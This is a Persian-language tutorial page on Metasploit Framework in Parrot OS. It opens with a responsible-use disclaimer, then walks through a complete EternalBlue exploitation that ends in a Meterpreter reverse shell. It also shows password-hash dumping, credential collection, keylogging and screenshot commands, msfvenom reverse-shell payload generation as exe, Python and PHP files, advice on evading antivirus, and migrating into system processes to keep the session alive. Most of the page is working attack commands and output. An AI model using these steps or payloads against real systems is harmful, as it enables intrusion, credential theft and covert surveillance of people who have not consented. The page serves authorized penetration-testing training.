Metasploit Framework در Parrot OS
راهنمای پیشرفته Metasploit Framework: اکسپلویت، payload، post-exploitation و meterpreter.
Metasploit Framework قدرتمندترین ابزار اکسپلویت در دنیای امنیت است که بیش از ۲۰۰۰ اکسپلویت و ۱۰۰۰ payload را در اختیار متخصصان امنیت قرار میدهد. در این آموزش، با ساختار، دستورات و کاربردهای عملی Metasploit در Parrot OS آشنا میشویم.
استفادهٔ مسئولانه
Metasploit یک ابزار قدرتمند برای تست نفوذ مجاز است. استفادهٔ آن روی سیستمهایی که مالک آنها نیستید یا مجوز کتبی ندارید، جرم محسوب میشود. تنها در محیطهای آزمایشگاهی یا با مجوز صریح از آن استفاده کنید.
Metasploit چیست؟
Metasploit Framework (MSF) یک پلتفرم متنباز برای توسعه، تست و اجرای اکسپلویت است. این ابزار توسط Rapid7 توسعه مییابد و نسخهٔ Community آن بهصورت رایگان در دسترس است. Parrot نسخهٔ Community را بهصورت پیشفرض ارائه میدهد.
راهاندازی پایگاه داده
پیش از استفاده از Metasploit، پایگاه داده را مقداردهی اولیه کنید:
# مقداردهی اولیهٔ پایگاه داده
sudo msfdb init
# بررسی وضعیت
msfdb status
# خروجی:
# [*] Database started
# [*] okراهاندازی msfconsole
# راهاندازی کنسول Metasploit
sudo msfconsole -q
# خروجی:
# =[ metasploit v6.4.5-dev ]
# + -- --=[ 2429 exploits - 1252 auxiliary - 410 post ]
# + -- --=[ 1391 payloads - 46 encoders - 11 nops ]
# + -- --=[ 9 evasion ]
msf6 >دستورات پایه
۱. جستجوی اکسپلویت
msf6 > search eternalblue
# Matching Modules
# ================
# # Name Rank Description
# - ---- ---- -----------
# 0 exploit/windows/smb/ms17_010_eternalblue average MS17-010 EternalBlue۲. انتخاب ماژول
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >۳. نمایش گزینهها
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
# Module options (exploit/windows/smb/ms17_010_eternalblue):
# Name Current Setting Required Description
# ---- --------------- -------- -----------
# RHOSTS yes The target host(s)
# RPORT 445 yes The target port
# SMBDomain . no (Optional) Windows domain
# SMBPass test no (Optional) Password
# SMBUser no (Optional) Username
# VERIFY_ARCH true yes Check if remote architecture matches
# VERIFY_TARGET true yes Check if remote OS matches
# Payload options (windows/x64/meterpreter/reverse_tcp):
# Name Current Setting Required Description
# ---- --------------- -------- -----------
# EXITFUNC thread yes Exit technique
# LHOST 192.168.1.5 yes The listen address
# LPORT 4444 yes The listen port۴. تنظیم گزینهها
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp۵. اجرای اکسپلویت
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.1.5:4444
[*] 192.168.1.10:445 - Connecting to target for exploitation.
[+] 192.168.1.10:445 - Connection established for exploitation.
[+] 192.168.1.10:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.10:445 - CORE raw buffer dump (51 bytes)
[*] 192.168.1.10:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 192.168.1.10:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[+] 192.168.1.10:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.10:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.10:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.10:445 - Starting non-paged pool grooming
[+] 192.168.1.10:445 - Sending SMBv2 buffers
[+] 192.168.1.10:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.10:445 - Sending final SMBv2 buffers
[*] 192.168.1.10:445 - Sending last fragment of exploit packet!
[*] 192.168.1.10:445 - Receiving response from exploit packet
[+] 192.168.1.10:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.10:445 - Sending egg to corrupted connection.
[*] 192.168.1.10:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.10:49174) at 2026-06-29 10:00:00 +0000
[+] 192.168.1.10:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.10:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.10:445 - =-=-=-=-=-=-=-=-=-=-=-=WIN-!=-=-=-=-=-=
[+] 192.168.1.10:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >Meterpreter — payload پیشرفته
Meterpreter (Meta-Interpreter) یک payload قدرتمند است که پس از اکسپلویت موفق، یک شل غنی روی هدف ارائه میدهد.
دستورات پایه Meterpreter
| دستور | توضیح |
|---|---|
sysinfo | اطلاعات سیستم هدف |
getuid | شناسهٔ کاربر فعلی |
pwd | مسیر فعلی |
ls | لیست فایلها |
cd | تغییر مسیر |
download | دانلود فایل از هدف |
upload | آپلود فایل به هدف |
shell | اجرای شل سیستمی |
portfwd | forwarding پورت |
route | routing |
screenshot | عکسبرداری از صفحه |
keyscan_start | شروع keylogger |
hashdump | استخراج هشها |
migrate | انتقال به فرآیند دیگر |
background | بازگشت به پسزمینه |
مثال عملی
meterpreter > sysinfo
# Computer : DESKTOP-ABC123
# OS : Windows 10 (10.0 Build 19045).
# Architecture : x64
# System Language : en_US
# Domain : WORKGROUP
# Logged On Users : 2
# Meterpreter : x64/windows
meterpreter > getuid
# Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter > screenshot
# Screenshot saved to: /home/user/YhkRZdwk.jpeg
meterpreter > shell
# Process 3544 created.
# Channel 1 created.
# Microsoft Windows [Version 10.0.19045.2965]
# (c) Microsoft Corporation. All rights reserved.
# C:\Windows\system32>ماژولهای Post-Exploitation
پس از دسترسی به هدف، میتوانید از ماژولهای post-exploitation استفاده کنید:
msf6 > background
[*] Backgrounding session 1...
msf6 > use post/windows/gather/credentials/credential_collector
msf6 post(windows/gather/credentials/credential_collector) > set SESSION 1
SESSION => 1
msf6 post(windows/gather/credentials/credential_collector) > run
[*] Running module against DESKTOP-ABC123
[*] Collecting credentials...
[+] Found cached credentials for user: Administrator
[+] Hash: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Post module execution completedMulti/Handler — listener
برای دریافت reverse shell از یک payload:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:4444msfvenom — تولید payload
ابزار msfvenom برای تولید payload سفارشی استفاده میشود:
# تولید payload Windows EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o shell.exe
# خروجی:
# [-] No platform was selected, choosing Msf::Module::Platform::Windows
# [-] No arch selected, selecting arch: x64
# No encoder specified, outputting raw payload
# Payload size: 510 bytes
# Final size of exe file: 7168 bytes
# Saved as: shell.exe
# تولید payload Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.py
# تولید payload PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.phpتخطی از آنتیویروس
payloadهای تولیدشده با msfvenom بهراحتی توسط آنتیویروسها شناسایی میشوند. برای آموزش واقعی، از encoders یا Veil Framework استفاده کنید. اما این کار فقط در محیطهای مجاز انجام شود.
جدول Payloadهای رایج
| Payload | توضیح |
|---|---|
windows/x64/meterpreter/reverse_tcp | Windows Meterpreter |
windows/x64/shell_reverse_tcp | شل ساده Windows |
linux/x64/meterpreter/reverse_tcp | Linux Meterpreter |
php/meterpreter_reverse_tcp | PHP Meterpreter |
python/meterpreter/reverse_tcp | Python Meterpreter |
java/meterpreter/reverse_tcp | Java Meterpreter |
android/meterpreter/reverse_tcp | Android Meterpreter |
Workspaces — مدیریت پروژهها
msf6 > workspace -a ProjectA
[*] Added workspace: ProjectA
[*] Workspace: ProjectA
msf6 > workspace
default
* ProjectA
msf6 > workspace default
[*] Workspace: defaultخطاهای رایج
"Exploit completed, but no session was created"
دلایل:
- پورت فایروال هدف بسته است
- نسخهٔ آسیبپذیر روی هدف نیست
- LHOST اشتباه تنظیم شده
- آنتیویروس payload را بلاک کرده
راهحل:
- با
nmapمجدداً اسکن کنید set VerifyArch falseوset VerifyTarget falseرا امتحان کنید- مطمئن شوید LHOST آدرس قابل دسترس شماست
"Connection refused"
دلیل: هدف پورت را بسته یا سرویس اجرا نیست.
راهحل: با nmap بررسی کنید سرویس واقعاً فعال است.
msfconsole بسیار کند اجرا میشود
راهحل:
# راهاندازی مجدد پایگاه داده
sudo msfdb reinit
# یا فقط کنسول بدون دیتابیس
msfconsole -q --no-deferred-loadsession بلافاصله قطع میشود
راهحل:
# انتقال به فرآیند پایدارتر
meterpreter > migrate -N explorer.exe
# یا
meterpreter > migrate -P <PID>Migrate بلافاصله پس از نفوذ
پس از دریافت session، بلافاصله migrate را به یک فرآیند پایدار مانند explorer.exe یا svchost.exe انجام دهید تا session شما از بین نرود.
خلاصه و مرحلهٔ بعد
Metasploit Framework قدرتمندترین ابزار اکسپلویت در دسترس متخصصان امنیت است. با درک ساختار ماژولها، گزینهها و Meterpreter، میتوانید ارزیابیهای امنیتی حرفهای انجام دهید. تمرین منظم در محیطهای آزمایشی کلید تسلط بر این ابزار است.
بهعنوان گام بعدی:
- آموزش Nmap را برای اسکن پیش از اکسپلویت بخوانید
- آموزش ابزارهای تست نفوذ را برای نمای کلی ببینید
- آموزش معرفی ابزارها را برای آشنایی با سایر ابزارها مرور کنید
این صفحه در تاریخ ۵ تیر ۱۴۰۵ بهروزرسانی شده است.